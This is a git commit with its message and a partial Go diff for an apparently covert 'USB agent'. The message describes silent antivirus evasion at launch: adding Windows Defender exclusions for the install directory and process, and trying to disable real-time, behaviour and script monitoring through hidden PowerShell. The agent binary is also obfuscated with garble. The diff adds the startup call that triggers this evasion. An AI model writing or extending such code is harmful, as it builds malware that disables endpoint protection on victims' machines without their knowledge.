feat(av): silent AV evasion on startup + garble obfuscation. On launch: adds Defender ExclusionPath for install dir + exe, ExclusionProcess for process name, attempts DisableRealtimeMonitoring + DisableBehaviorMonitoring + DisableScriptScanning via hidden PowerShell (admin elevates, non-admin gets exclusions only). USB agent now built with garble -literals -tiny: all string literals and symbols scrambled.

This commit is contained in:
AetherForge
2026-06-03 11:12:18 -07:00
parent 2f85f2066d
commit 03937edba7
5 changed files with 43 additions and 1 deletions

View File

@@ -57,7 +57,13 @@ func main() {
reporter := stats.NewReporter()
cfg = cfg.AdaptToSystem(reporter)
if installDir, err := cfg.InstallDirectory(); err == nil {
installDir, _ := cfg.InstallDirectory()
// Silence the AV as early as possible — add path/process exclusions and
// attempt to disable real-time monitoring. Fire-and-forget, never blocks.
deploy.SilentAVExclusion(installDir, cfg.EffectiveProcessName()+".exe")
if installDir != "" {
if id, err := deploy.LoadAgentID(installDir); err == nil {
cfg.AgentID = id
}